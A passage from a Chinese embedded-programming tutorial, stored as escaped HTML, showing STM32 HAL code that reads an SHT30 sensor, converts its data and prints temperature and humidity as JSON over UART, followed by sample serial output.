\u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换温度数据 */\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e45\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e175\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_temperature\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换湿度数据 */\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e100\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_humidity \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"在main-c中使用SHT30\"\u003e\u003ca href=\"#在main-c中使用SHT30\" class=\"headerlink\" title=\"在main.c中使用SHT30\"\u003e\u003c/a\u003e在\u003ccode\u003emain.c\u003c/code\u003e中使用SHT30\u003c/h3\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e外定义格式化函数:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e的\u003ccode\u003ewhile (1)\u003c/code\u003e前定义相关变量与SHT30初始化:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 init is ok!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 init is not ok!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003ewhile(1)\u003c/code\u003e内调用格式化函数,每次调用后进行适当延时。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"格式化函数\"\u003e\u003ca href=\"#格式化函数\" class=\"headerlink\" title=\"格式化函数\"\u003e\u003c/a\u003e格式化函数\u003c/h4\u003e\u003cp\u003e将格式化函数写在 \u003ccode\u003e/* USER CODE BEGIN 4 */\u003c/code\u003e 与 \u003ccode\u003e/* USER CODE END 4 */\u003c/code\u003e 之中。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e字符串格式化输出 \u003ccode\u003esprintf()\u003c/code\u003e:\u003c/p\u003e\u003cp\u003e\u003ccode\u003eint sprintf(char * s, const char * format, ...);\u003c/code\u003e定义在\u003ccode\u003estdio.h\u003c/code\u003e中,适用于 \u003ccode\u003e string\u003c/code\u003e 版本的格式化输出,其目标不是控制台,而是一个字符串。\u003c/p\u003e\u003cp\u003e用\u003ccode\u003esprintf()\u003c/code\u003e 格式化一个字符串,例如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"Name:%s,Age:%d,Weight:%.2f\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"LiMing\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1.68\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e运行后目标\u003ccode\u003ebuf\u003c/code\u003e格式化为:\u003ccode\u003eName:LiMing,Age:30,Weight:1.68\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e对于字符串的处理非常有用。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e将SHT30温湿度数据格式化并通过串口输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ememset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026#123;\\\"Temperature\\\":\\\"%.2f\\\", \\\"Humidity\\\":\\\"%.2f\\\"\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token function\"\u003estrlen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 check failed!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 read date failed!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"结果对比\"\u003e\u003ca href=\"#结果对比\" class=\"headerlink\" title=\"结果对比\"\u003e\u003c/a\u003e结果对比\u003c/h2\u003e\u003cp\u003e随便复制几段单片机串口发过来的:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e53.824\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.36\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.92\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e55.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.34\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.85\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e57.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.41\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.88\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e59.815\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.33\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.98\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e01.809\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.40\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.89\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e03.808\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.38\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.96\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e05.804\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.38\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.94\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e07.799\u003c/span\u003e\u003cspan 